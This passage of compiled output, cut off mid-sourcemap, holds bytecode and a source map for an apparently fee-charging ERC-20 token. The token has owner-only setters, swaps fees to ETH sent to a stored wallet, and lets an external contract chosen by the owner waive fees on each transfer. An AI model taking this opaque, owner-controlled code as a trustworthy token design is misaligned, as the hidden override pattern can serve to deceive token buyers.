01654600160a81b900460ff165b1561174f57601654600160b01b900460ff16156117465760115491505b61174f82611a94565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b0389166000908152600490915291909120546117a1918690611915565b6001600160a01b0387166000908152600460205260408120919091556117c8878787611b3e565b601654909150600160b81b900460ff1680156117fd57506001600160a01b03861660009081526009602052604090205460ff16155b1561188a5760135461182e82611828896001600160a01b031660009081526004602052604090205490565b9061194f565b111561188a5760405162461bcd60e51b815260206004820152602560248201527f416d6f756e74204578636565642046726f6d204d61782057616c6c6574204c696044820152646d6974212160d81b60648201526084016109d0565b6001600160a01b0386166000908152600460205260409020546118ad908261194f565b6001600160a01b0380881660008181526004602052604090819020939093559151908916907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906119019085815260200190565b60405180910390a360019350505050610aad565b600081848411156119395760405162461bcd60e51b81526004016109d0919061200b565b5060006119468486612382565b95945050505050565b60008061195c8385612356565b905083811015610aad5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016109d0565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b03861660009081526004909152918220546119ff918490611915565b6001600160a01b038086166000908152600460205260408082209390935590851681522054611a2e908361194f565b6001600160a01b0380851660008181526004602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90611a829086815260200190565b60405180910390a35060019392505050565b6016805460ff60a01b1916600160a01b17905547611ab182611d49565b6000611abd4783611edc565b90508015611b2c5760035460405160009161010090046001600160a01b03169083908381818185875af1925050503d8060008114611b17576040519150601f19603f3d011682016040523d82523d6000602084013e611b1c565b606091505b5050905080611b2a57600080fd5b505b50506016805460ff60a01b1916905550565b6001600160a01b0383166000908152600860205260408120548190819060ff1615611b8d57611b836064611b7d600d5487611f1e90919063ffffffff16565b90611fa0565b9150859050611bce565b6001600160a01b03851660009081526008602052604090205460ff1615611bce57611bc86064611b7d600e5487611f1e90919063ffffffff16565b91508490505b6001600160a01b038181166000908152600b60205260409020541615801590611cb157506001600160a01b038181166000908152600b60209081526040808320548a85168085526008909352818420548a86168086529483902054925163c2d1fab360e01b815260ff9182161515600482015292161515602483015260448201929092526064810192909252608482018790529091169063c2d1fab39060a4016020604051808303816000875af1158015611c8d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611cb1919061230d565b15611cbb57600091505b8115611d355730600090815260046020526040902054611cdb908361194f565b30600081815260046020526040908190209290925590516001600160a01b038816907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90611d2c9086815260200190565b60405180910390a35b611d3f8483611edc565b9695505050505050565b6040805160028082526060820183526000926020830190803683370190505090503081600081518110611d7e57611d7e61232a565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611dd7573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611dfb9190612395565b81600181518110611e0e57611e0e61232a565b6001600160a01b039283166020918202929092010152601454611e3491309116846113f2565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac94790611e6d9085906000908690309042906004016123f6565b600060405180830381600087803b158015611e8757600080fd5b505af1158015611e9b573d6000803e3d6000fd5b505050507f32cde87eb454f3a0b875ab23547023107cfad454363ec88ba5695e2c24aa52a78282604051611ed0929190612432565b60405180910390a15050565b6000610aad83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611915565b600082600003611f3057506000610a43565b6000611f3c8385612453565b905082611f49858361246a565b14610aad5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016109d0565b6000610aad83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525060008183611ffe5760405162461bcd60e51b81526004016109d0919061200b565b506000611946848661246a565b600060208083528351808285015260005b818110156120385785810183015185820160400152820161201c565b506000604082860101526040601f19601f8301168501019250505092915050565b60006020828403121561206b57600080fd5b5035919050565b6001600160a01b0381168114610a2f57600080fd5b6000806040838503121561209a57600080fd5b82356120a581612072565b946020939093013593505050565b6000806000606084860312156120c857600080fd5b83356120d381612072565b925060208401356120e381612072565b929592945050506040919091013590565b60006020828403121561210657600080fd5b8135610aad81612072565b60008083601f84011261212357600080fd5b50813567ffffffffffffffff81111561213b57600080fd5b6020830191508360208260051b850101111561215657600080fd5b9250929050565b60008060008060008060006080888a03121561217857600080fd5b873567ffffffffffffffff8082111561219057600080fd5b61219c8b838c01612111565b909950975060208a013591506121b182612072565b909550604089013590808211156121c757600080fd5b6121d38b838c01612111565b909650945060608a01359150808211156121ec57600080fd5b506121f98a828b01612111565b989b979a50959850939692959293505050565b8015158114610a2f57600080fd5b6000806040838503121561222d57600080fd5b823561223881612072565b915060208301356122488161220c565b809150509250929050565b60006020828403121561226557600080fd5b8135610aad8161220c565b6000806040838503121561228357600080fd5b823561228e81612072565b9150602083013561224881612072565b600181811c908216806122b257607f821691505b6020821081036122d257634e487b7160e01b600052602260045260246000fd5b50919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60006020828403121561231f57600080fd5b8151610aad8161220c565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b80820180821115610a4357610a43612340565b60006001820161237b5761237b612340565b5060010190565b81810381811115610a4357610a43612340565b6000602082840312156123a757600080fd5b8151610aad81612072565b600081518084526020808501945080840160005b838110156123eb5781516001600160a01b0316875295820195908201906001016123c6565b509495945050505050565b85815284602082015260a06040820152600061241560a08301866123b2565b6001600160a01b0394909416606083015250608001529392505050565b82815260406020820152600061244b60408301846123b2565b949350505050565b8082028115828204841417610a4357610a43612340565b60008261248757634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa26469706673582212200212b6deddeeb7c8ee23a850099bd99402ab99fe500bf48fb7b1d706e552234064736f6c63430008130033

Deployed Bytecode Sourcemap

11660:13402:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;15024:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;18474:145;;;;;;;;;;-1:-1:-1;18474:145:0;;;;;:::i;:::-;;:::i;:::-;;16190:161;;;;;;;;;;-1:-1:-1;16190:161:0;;;;;:::i;:::-;;:::i;:::-;;;1373:14:1;;1366:22;1348:41;;1336:2;1321:18;16190:161:0;1208:187:1;12814:41:0;;;;;;;;;;-1:-1:-1;12814:41:0;;;;-1:-1:-1;;;;;12814:41:0;;;;;;-1:-1:-1;;;;;1591:32:1;;;1573:51;;1561:2;1546:18;12814:41:0;1400:230:1;15301:100:0;;;;;;;;;;-1:-1:-1;15381:12:0;;15301:100;;;1781:25:1;;;1769:2;1754:18;15301:100:0;1635:177:1;18802:313:0;;;;;;;;;;-1:-1:-1;18802:313:0;;;;;:::i;:::-;;:::i;15210:83::-;;;;;;;;;;-1:-1:-1;15276:9:0;;15210:83;;15276:9;;;;2420:36:1;;2408:2;2393:18;15210:83:0;2278:184:1;15687:218:0;;;;;;;;;;-1:-1:-1;15687:218:0;;;;;:::i;:::-;;:::i;12142:45::-;;;;;;;;;;-1:-1:-1;12142:45:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;12415:26;;;;;;;;;;;;;;;;12970:40;;;;;;;;;;-1:-1:-1;12970:40:0;;;;-1:-1:-1;;;12970:40:0;;;;;;17515:213;;;;;;;;;;-1:-1:-1;17515:213:0;;;;;:::i;:::-;;:::i;12085:50::-;;;;;;;;;;-1:-1:-1;12085:50:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;12895:32;;;;;;;;;;-1:-1:-1;12895:32:0;;;;-1:-1:-1;;;;;12895:32:0;;;21758:239;;;;;;;;;;-1:-1:-1;21758:239:0;;;;;:::i;:::-;;:::i;17291:128::-;;;;;;;;;;;;;:::i;15409:119::-;;;;;;;;;;-1:-1:-1;15409:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;15502:18:0;15475:7;15502:18;;;:9;:18;;;;;;;15409:119;3219:230;;;;;;;;;;;;;:::i;11877:38::-;;;;;;;;;;-1:-1:-1;11877:38:0;;;;;;;-1:-1:-1;;;;;11877:38:0;;;22176:827;;;;;;;;;;-1:-1:-1;22176:827:0;;;;;:::i;:::-;;:::i;12678:59::-;;;;;;;;;;;;;;;;12745:58;;;;;;;;;;;;;;;;16704:129;;;;;;;;;;-1:-1:-1;16704:129:0;;;;;:::i;:::-;;:::i;13113:41::-;;;;;;;;;;-1:-1:-1;13113:41:0;;;;-1:-1:-1;;;13113:41:0;;;;;;12051:25;;;;;;;;;;-1:-1:-1;12051:25:0;;;;;;;;2994:79;;;;;;;;;;-1:-1:-1;3032:7:0;3059:6;-1:-1:-1;;;;;3059:6:0;2994:79;;17136:147;;;;;;;;;;-1:-1:-1;17136:147:0;;;;;:::i;:::-;;:::i;15115:87::-;;;;;;;;;;;;;:::i;18324:142::-;;;;;;;;;;-1:-1:-1;18324:142:0;;;;;:::i;:::-;;:::i;15913:269::-;;;;;;;;;;-1:-1:-1;15913:269:0;;;;;:::i;:::-;;:::i;18057:125::-;;;;;;;;;;-1:-1:-1;18057:125:0;;;;;:::i;:::-;;:::i;12375:31::-;;;;;;;;;;;;;;;;18627:167;;;;;;;;;;-1:-1:-1;18627:167:0;;;;;:::i;:::-;;:::i;12199:58::-;;;;;;;;;;-1:-1:-1;12199:58:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;16984:140;;;;;;;;;;-1:-1:-1;16984:140:0;;;;;:::i;:::-;;:::i;22005:163::-;;;;;;;;;;;;;:::i;17878:171::-;;;;;;;;;;-1:-1:-1;17878:171:0;;;;;:::i;:::-;;:::i;12862:26::-;;;;;;;;;;-1:-1:-1;12862:26:0;;;;-1:-1:-1;;;;;12862:26:0;;;17427:80;;;;;;;;;;;;;:::i;17736:134::-;;;;;;;;;;-1:-1:-1;17736:134:0;;;;;:::i;:::-;;:::i;12450:27::-;;;;;;;;;;;;;;;;12264:55;;;;;;;;;;-1:-1:-1;12264:55:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;12590:70;;;;;;;;;;;;;;;;13017:45;;;;;;;;;;-1:-1:-1;13017:45:0;;;;-1:-1:-1;;;13017:45:0;;;;;;15536:143;;;;;;;;;;-1:-1:-1;15536:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;15644:18:0;;;15617:7;15644:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;15536:143;16841:135;;;;;;;;;;-1:-1:-1;16841:135:0;;;;;:::i;:::-;;:::i;3457:244::-;;;;;;;;;;-1:-1:-1;3457:244:0;;;;;:::i;:::-;;:::i;12486:29::-;;;;;;;;;;;;;;;;13071:35;;;;;;;;;;-1:-1:-1;13071:35:0;;;;-1:-1:-1;;;13071:35:0;;;;;;15024:83;15061:13;15094:5;15087:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;15024:83;:::o;18474:145::-;3128:6;;-1:-1:-1;;;;;3128:6:0;300:10;3128:22;3120:67;;;;-1:-1:-1;;;3120:67:0;;;;;;;:::i;:::-;;;;;;;;;18535:8:::1;:15:::0;;;18577:1:::1;18569:9:::0;::::1;;18561:50;;;::::0;-1:-1:-1;;;18561:50:0;;6849:2:1;18561:50:0::1;::::0;::::1;6831:21:1::0;6888:2;6868:18;;;6861:30;6927;6907:18;;;6900:58;6975:18;;18561:50:0::1;6647:352:1::0;18561:50:0::1;18474:145:::0;:::o;16190:161::-;16265:4;16282:39;300:10;16305:7;16314:6;16282:8;:39::i;:::-;-1:-1:-1;16339:4:0;16190:161;;;;;:::o;18802:313::-;18900:4;18917:36;18927:6;18935:9;18946:6;18917:9;:36::i;:::-;-1:-1:-1;18964:121:0;18973:6;300:10;18995:89;19033:6;18995:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;18995:19:0;;;;;;:11;:19;;;;;;;;300:10;18995:33;;;;;;;;;;:37;:89::i;:::-;18964:8;:121::i;:::-;-1:-1:-1;19103:4:0;18802:313;;;;;;:::o;15687:218::-;300:10;15775:4;15824:25;;;:11;:25;;;;;;;;-1:-1:-1;;;;;15824:34:0;;;;;;;;;;15775:4;;15792:83;;15815:7;;15824:50;;15863:10;15824:38;:50::i;17515:213::-;3128:6;;-1:-1:-1;;;;;3128:6:0;300:10;3128:22;3120:67;;;;-1:-1:-1;;;3120:67:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;17610:24:0;::::1;17602:70;;;::::0;-1:-1:-1;;;17602:70:0;;7206:2:1;17602:70:0::1;::::0;::::1;7188:21:1::0;7245:2;7225:18;;;7218:30;7284:34;7264:18;;;7257:62;-1:-1:-1;;;7335:18:1;;;7328:32;7377:19;;17602:70:0::1;7004:398:1::0;17602:70:0::1;17683:15;:37:::0;;-1:-1:-1;;;;;17683:37:0;;::::1;;;-1:-1:-1::0;;;;;;17683:37:0;;::::1;::::0;;;::::1;::::0;;17515:213::o;21758:239::-;3128:6;;-1:-1:-1;;;;;3128:6:0;300:10;3128:22;3120:67;;;;-1:-1:-1;;;3120:67:0;;;;;;;:::i;:::-;21871:4:::1;-1:-1:-1::0;;;;;21853:23:0;::::1;::::0;21845:90:::1;;;::::0;-1:-1:-1;;;21845:90:0;;7609:2:1;21845:90:0::1;::::0;::::1;7591:21:1::0;7648:2;7628:18;;;7621:30;7687:34;7667:18;;;7660:62;-1:-1:-1;;;7738:18:1;;;7731:52;7800:19;;21845:90:0::1;7407:418:1::0;21845:90:0::1;21946:43;::::0;-1:-1:-1;;;21946:43:0;;21970:10:::1;21946:43;::::0;::::1;8004:51:1::0;8071:18;;;8064:34;;;-1:-1:-1;;;;;21946:23:0;::::1;::::0;::::1;::::0;7977:18:1;;21946:43:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;21758:239:::0;;:::o;17291:128::-;3128:6;;-1:-1:-1;;;;;3128:6:0;300:10;3128:22;3120:67;;;;-1:-1:-1;;;3120:67:0;;;;;;;:::i;:::-;17346:22:::1;:30:::0;;-1:-1:-1;;;;17387:24:0;;;17291:128::o;3219:230::-;3128:6;;-1:-1:-1;;;;;3128:6:0;300:10;3128:22;3120:67;;;;-1:-1:-1;;;3120:67:0;;;;;;;:::i;:::-;3310:6:::1;::::0;;3289:81:::1;::::0;3326:42:::1;::::0;-1:-1:-1;;;;;3310:6:0;;::::1;::::0;3289:81:::1;::::0;::::1;3381:6;:60:::0;;-1:-1:-1;;;;;;3381:60:0::1;3398:42;3381:60;::::0;;3219:230::o;22176:827::-;3128:6;;-1:-1:-1;;;;;3128:6:0;300:10;3128:22;3120:67;;;;-1:-1:-1;;;3120:67:0;;;;;;;:::i;:::-;22343:43;;::::1;22335:52;;;::::0;::::1;;22398:26;::::0;22489:15:::1;22398:26:::0;22515:159:::1;22531:24:::0;;::::1;22515:159;;;22594:13;;22608:1;22594:16;;;;;;;:::i;:::-;;;;;;;22577:33;;;;;:::i;:::-;;;22647:12;;22660:1;22647:15;;;;;;;:::i;:::-;;;;;;;22625:37;;;;;:::i;:::-;::::0;-1:-1:-1;22557:3:0;::::1;::::0;::::1;:::i;:::-;;;;22515:159;;;-1:-1:-1::0;22725:16:0::1;::::0;22693:27:::1;22707:13:::0;22693:11;:27:::1;:::i;:::-;22692:49;;22684:94;;;::::0;-1:-1:-1;;;22684:94:0;;9095:2:1;22684:94:0::1;::::0;::::1;9077:21:1::0;;;9114:18;;;9107:30;9173:34;9153:18;;;9146:62;9225:18;;22684:94:0::1;8893:356:1::0;22684:94:0::1;22793:6;22789:207;22805:19:::0;;::::1;22789:207;;;22846:16;22865:8;;22874:1;22865:11;;;;;;;:::i;:::-;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;22891:21:0;;::::1;;::::0;;;:11:::1;:21;::::0;;;;;;;:29;;-1:-1:-1;;;;;;22891:29:0::1;::::0;;::::1;::::0;;::::1;::::0;;22935:11:::1;:21:::0;;;;;:28;;;;;;;:49;;;-1:-1:-1;22826:3:0;::::1;::::0;::::1;:::i;:::-;;;;22789:207;;;;22324:679;;;22176:827:::0;;;;;;;:::o;16704:129::-;3128:6;;-1:-1:-1;;;;;3128:6:0;300:10;3128:22;3120:67;;;;-1:-1:-1;;;3120:67:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;16793:21:0;;;::::1;;::::0;;;:12:::1;:21;::::0;;;;:32;;-1:-1:-1;;16793:32:0::1;::::0;::::1;;::::0;;;::::1;::::0;;16704:129::o;17136:147::-;3128:6;;-1:-1:-1;;;;;3128:6:0;300:10;3128:22;3120:67;;;;-1:-1:-1;;;3120:67:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;17233:33:0;;;::::1;;::::0;;;:25:::1;:33;::::0;;;;:42;;-1:-1:-1;;17233:42:0::1;::::0;::::1;;::::0;;;::::1;::::0;;17136:147::o;15115:87::-;15154:13;15187:7;15180:14;;;;;:::i;18324:142::-;3128:6;;-1:-1:-1;;;;;3128:6:0;300:10;3128:22;3120:67;;;;-1:-1:-1;;;3120:67:0;;;;;;;:::i;:::-;18384:7:::1;:14:::0;;;18425:1:::1;18417:9:::0;::::1;;18409:49;;;::::0;-1:-1:-1;;;18409:49:0;;9456:2:1;18409:49:0::1;::::0;::::1;9438:21:1::0;9495:2;9475:18;;;9468:30;9534:29;9514:18;;;9507:57;9581:18;;18409:49:0::1;9254:351:1::0;15913:269:0;16006:4;16023:129;300:10;16046:7;16055:96;16094:15;16055:96;;;;;;;;;;;;;;;;;300:10;16055:25;;;;:11;:25;;;;;;;;-1:-1:-1;;;;;16055:34:0;;;;;;;;;;;;:38;:96::i;18057:125::-;3128:6;;-1:-1:-1;;;;;3128:6:0;300:10;3128:22;3120:67;;;;-1:-1:-1;;;3120:67:0;;;;;;;:::i;:::-;18138:25:::1;:36:::0;;;::::1;;-1:-1:-1::0;;;18138:36:0::1;-1:-1:-1::0;;;;18138:36:0;;::::1;::::0;;;::::1;::::0;;18057:125::o;18627:167::-;18705:4;18722:42;300:10;18746:9;18757:6;18722:9;:42::i;16984:140::-;3128:6;;-1:-1:-1;;;;;3128:6:0;300:10;3128:22;3120:67;;;;-1:-1:-1;;;3120:67:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;17077:30:0;;;::::1;;::::0;;;:22:::1;:30;::::0;;;;:39;;-1:-1:-1;;17077:39:0::1;::::0;::::1;;::::0;;;::::1;::::0;;16984:140::o;22005:163::-;3128:6;;-1:-1:-1;;;;;3128:6:0;300:10;3128:22;3120:67;;;;-1:-1:-1;;;3120:67:0;;;;;;;:::i;:::-;22075:58:::1;::::0;22058:12:::1;::::0;22083:10:::1;::::0;22107:21:::1;::::0;22058:12;22075:58;22058:12;22075:58;22107:21;22083:10;22075:58:::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;22057:76;;;22152:7;22144:16;;;::::0;::::1;17878:171:::0;3128:6;;-1:-1:-1;;;;;3128:6:0;300:10;3128:22;3120:67;;;;-1:-1:-1;;;3120:67:0;;;;;;;:::i;:::-;17955:21:::1;:32:::0;;;::::1;;-1:-1:-1::0;;;17955:32:0::1;-1:-1:-1::0;;;;17955:32:0;;::::1;;::::0;;18003:38:::1;::::0;::::1;::::0;::::1;::::0;17979:8;1373:14:1;1366:22;1348:41;;1336:2;1321:18;;1208:187;18003:38:0::1;;;;;;;;17878:171:::0;:::o;17427:80::-;3128:6;;-1:-1:-1;;;;;3128:6:0;300:10;3128:22;3120:67;;;;-1:-1:-1;;;3120:67:0;;;;;;;:::i;:::-;17479:13:::1;:20:::0;;-1:-1:-1;;17479:20:0::1;17495:4;17479:20;::::0;;17427:80::o;17736:134::-;3128:6;;-1:-1:-1;;;;;3128:6:0;300:10;3128:22;3120:67;;;;-1:-1:-1;;;3120:67:0;;;;;;;:::i;:::-;17823:17:::1;:39:::0;;-1:-1:-1;;;;;;17823:39:0::1;-1:-1:-1::0;;;;;17823:39:0;;;::::1;::::0;;;::::1;::::0;;17736:134::o;16841:135::-;3128:6;;-1:-1:-1;;;;;3128:6:0;300:10;3128:22;3120:67;;;;-1:-1:-1;;;3120:67:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;16931:26:0;;;::::1;;::::0;;;:17:::1;:26;::::0;;;;:37;;-1:-1:-1;;16931:37:0::1;::::0;::::1;;::::0;;;::::1;::::0;;16841:135::o;3457:244::-;3128:6;;-1:-1:-1;;;;;3128:6:0;300:10;3128:22;3120:67;;;;-1:-1:-1;;;3120:67:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;3546:22:0;::::1;3538:73;;;::::0;-1:-1:-1;;;3538:73:0;;10022:2:1;3538:73:0::1;::::0;::::1;10004:21:1::0;10061:2;10041:18;;;10034:30;10100:34;10080:18;;;10073:62;-1:-1:-1;;;10151:18:1;;;10144:36;10197:19;;3538:73:0::1;9820:402:1::0;3538:73:0::1;3648:6;::::0;;3627:38:::1;::::0;-1:-1:-1;;;;;3627:38:0;;::::1;::::0;3648:6;::::1;::::0;3627:38:::1;::::0;::::1;3676:6;:17:::0;;-1:-1:-1;;;;;;3676:17:0::1;-1:-1:-1::0;;;;;3676:17:0;;;::::1;::::0;;;::::1;::::0;;3457:244::o;16359:337::-;-1:-1:-1;;;;;16452:19:0;;16444:68;;;;-1:-1:-1;;;16444:68:0;;10429:2:1;16444:68:0;;;10411:21:1;10468:2;10448:18;;;10441:30;10507:34;10487:18;;;10480:62;-1:-1:-1;;;10558:18:1;;;10551:34;10602:19;;16444:68:0;10227:400:1;16444:68:0;-1:-1:-1;;;;;16531:21:0;;16523:68;;;;-1:-1:-1;;;16523:68:0;;10834:2:1;16523:68:0;;;10816:21:1;10873:2;10853:18;;;10846:30;10912:34;10892:18;;;10885:62;-1:-1:-1;;;10963:18:1;;;10956:32;11005:19;;16523:68:0;10632:398:1;16523:68:0;-1:-1:-1;;;;;16604:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;16656:32;;1781:25:1;;;16656:32:0;;1754:18:1;16656:32:0;;;;;;;16359:337;;;:::o;19123:1680::-;19210:4;-1:-1:-1;;;;;19237:20:0;;19229:70;;;;-1:-1:-1;;;19229:70:0;;11237:2:1;19229:70:0;;;11219:21:1;11276:2;11256:18;;;11249:30;11315:34;11295:18;;;11288:62;-1:-1:-1;;;11366:18:1;;;11359:35;11411:19;;19229:70:0;11035:401:1;19229:70:0;-1:-1:-1;;;;;19318:23:0;;19310:71;;;;-1:-1:-1;;;19310:71:0;;11643:2:1;19310:71:0;;;11625:21:1;11682:2;11662:18;;;11655:30;11721:34;11701:18;;;11694:62;-1:-1:-1;;;11772:18:1;;;11765:33;11815:19;;19310:71:0;11441:399:1;19310:71:0;19399:16;;-1:-1:-1;;;19399:16:0;;;;19396:1390;;;19449:41;19464:6;19472:9;19483:6;19449:14;:41::i;:::-;19442:48;;;;19396:1390;-1:-1:-1;;;;;19530:30:0;;;;;;:22;:30;;;;;;;;19529:31;:69;;;;-1:-1:-1;;;;;;19565:33:0;;;;;;:22;:33;;;;;;;;19564:34;19529:69;:95;;;;-1:-1:-1;19602:22:0;;-1:-1:-1;;;19602:22:0;;;;19529:95;19526:210;;;19663:12;;19653:6;:22;;19645:75;;;;-1:-1:-1;;;19645:75:0;;12047:2:1;19645:75:0;;;12029:21:1;12086:2;12066:18;;;12059:30;12125:34;12105:18;;;12098:62;-1:-1:-1;;;12176:18:1;;;12169:38;12224:19;;19645:75:0;11845:404:1;19645:75:0;19801:4;19752:28;15502:18;;;:9;:18;;;;;;19877:23;;19853:47;;;;;;;19933:44;;-1:-1:-1;19961:16:0;;-1:-1:-1;;;19961:16:0;;;;19960:17;19933:44;:69;;;;-1:-1:-1;;;;;;19982:20:0;;;;;;:12;:20;;;;;;;;19981:21;19933:69;:94;;;;-1:-1:-1;20006:21:0;;-1:-1:-1;;;20006:21:0;;;;19933:94;19929:305;;;20065:25;;-1:-1:-1;;;20065:25:0;;;;20062:97;;;20136:23;;20113:46;;20062:97;20178:36;20193:20;20178:14;:36::i;:::-;20270:53;;;;;;;;;;;-1:-1:-1;;;20270:53:0;;;;;;;;-1:-1:-1;;;;;20270:17:0;;-1:-1:-1;20270:17:0;;;:9;:17;;;;;;;;:53;;20292:6;;20270:21;:53::i;:::-;-1:-1:-1;;;;;20250:17:0;;;;;;:9;:17;;;;;:73;;;;20362:34;20260:6;20378:9;20389:6;20362:7;:34::i;:::-;20416:16;;20340:56;;-1:-1:-1;;;;20416:16:0;;;;:57;;;;-1:-1:-1;;;;;;20437:36:0;;;;;;:25;:36;;;;;;;;20436:37;20416:57;20413:197;;;20543:10;;20502:37;20527:11;20502:20;20512:9;-1:-1:-1;;;;;15502:18:0;15475:7;15502:18;;;:9;:18;;;;;;;15409:119;20502:20;:24;;:37::i;:::-;:51;;20494:100;;;;-1:-1:-1;;;20494:100:0;;12456:2:1;20494:100:0;;;12438:21:1;12495:2;12475:18;;;12468:30;12534:34;12514:18;;;12507:62;-1:-1:-1;;;12585:18:1;;;12578:35;12630:19;;20494:100:0;12254:401:1;20494:100:0;-1:-1:-1;;;;;20649:20:0;;;;;;:9;:20;;;;;;:37;;20674:11;20649:24;:37::i;:::-;-1:-1:-1;;;;;20626:20:0;;;;;;;:9;:20;;;;;;;:60;;;;20708:40;;;;;;;;;;20736:11;1781:25:1;;1769:2;1754:18;;1635:177;20708:40:0;;;;;;;;20770:4;20763:11;;;;;;;1479:192;1565:7;1601:12;1593:6;;;;1585:29;;;;-1:-1:-1;;;1585:29:0;;;;;;;;:::i;:::-;-1:-1:-1;1625:9:0;1637:5;1641:1;1637;:5;:::i;:::-;1625:17;1479:192;-1:-1:-1;;;;;1479:192:0:o;1146:181::-;1204:7;;1236:5;1240:1;1236;:5;:::i;:::-;1224:17;;1265:1;1260;:6;;1252:46;;;;-1:-1:-1;;;1252:46:0;;12995:2:1;1252:46:0;;;12977:21:1;13034:2;13014:18;;;13007:30;13073:29;13053:18;;;13046:57;13120:18;;1252:46:0;12793:351:1;23011:330:0;23141:53;;;;;;;;;;;-1:-1:-1;;;23141:53:0;;;;;;;;-1:-1:-1;;;;;23141:17:0;;23104:4;23141:17;;;:9;:17;;;;;;;:53;;23163:6;;23141:21;:53::i;:::-;-1:-1:-1;;;;;23121:17:0;;;;;;;:9;:17;;;;;;:73;;;;23228:20;;;;;;;:32;;23253:6;23228:24;:32::i;:::-;-1:-1:-1;;;;;23205:20:0;;;;;;;:9;:20;;;;;;;:55;;;;23276:35;;;;;;;;;;23304:6;1781:25:1;;1769:2;1754:18;;1635:177;23276:35:0;;;;;;;;-1:-1:-1;23329:4:0;23011:330;;;;;:::o;23349:464::-;13579:16;:23;;-1:-1:-1;;;;13579:23:0;-1:-1:-1;;;13579:23:0;;;23457:21:::1;23489:25;23506:7:::0;23489:16:::1;:25::i;:::-;23525:23;23552:41;:21;23578:14:::0;23552:25:::1;:41::i;:::-;23525:68:::0;-1:-1:-1;23609:19:0;;23606:192:::1;;23672:15;::::0;23664:89:::1;::::0;23646:12:::1;::::0;23672:15:::1;::::0;::::1;-1:-1:-1::0;;;;;23672:15:0::1;::::0;23719;;23646:12;23664:89;23646:12;23664:89;23719:15;23672;23664:89:::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;23645:108;;;23778:7;23770:16;;;::::0;::::1;;23630:168;23606:192;-1:-1:-1::0;;13625:16:0;:24;;-1:-1:-1;;;;13625:24:0;;;-1:-1:-1;23349:464:0:o;20811:937::-;-1:-1:-1;;;;;21002:20:0;;20897:7;21002:20;;;:12;:20;;;;;;20897:7;;;;21002:20;;20999:276;;;21051:28;21075:3;21051:19;21062:7;;21051:6;:10;;:19;;;;:::i;:::-;:23;;:28::i;:::-;21039:40;;21108:6;21094:20;;20999:276;;;-1:-1:-1;;;;;21144:23:0;;;;;;:12;:23;;;;;;;;21141:134;;;21196:29;21221:3;21196:20;21207:8;;21196:6;:10;;:20;;;;:::i;:29::-;21184:41;;21254:9;21240:23;;21141:134;-1:-1:-1;;;;;21288:24:0;;;21324:1;21288:24;;;:11;:24;;;;;;;:38;;;;:177;;-1:-1:-1;;;;;;21341:24:0;;;;;;;:11;:24;;;;;;;;;21392:20;;;;;;:12;:20;;;;;;;21414:23;;;;;;;;;;;21330:135;;-1:-1:-1;;;21330:135:0;;21392:20;;;;13421:14:1;13414:22;21330:135:0;;;13396:41:1;21414:23:0;;13480:14:1;13473:22;13453:18;;;13446:50;13550:18;;;13543:43;;;;13602:18;;;13595:43;;;;13654:19;;;13647:35;;;21341:24:0;;;;21330:61;;13368:19:1;;213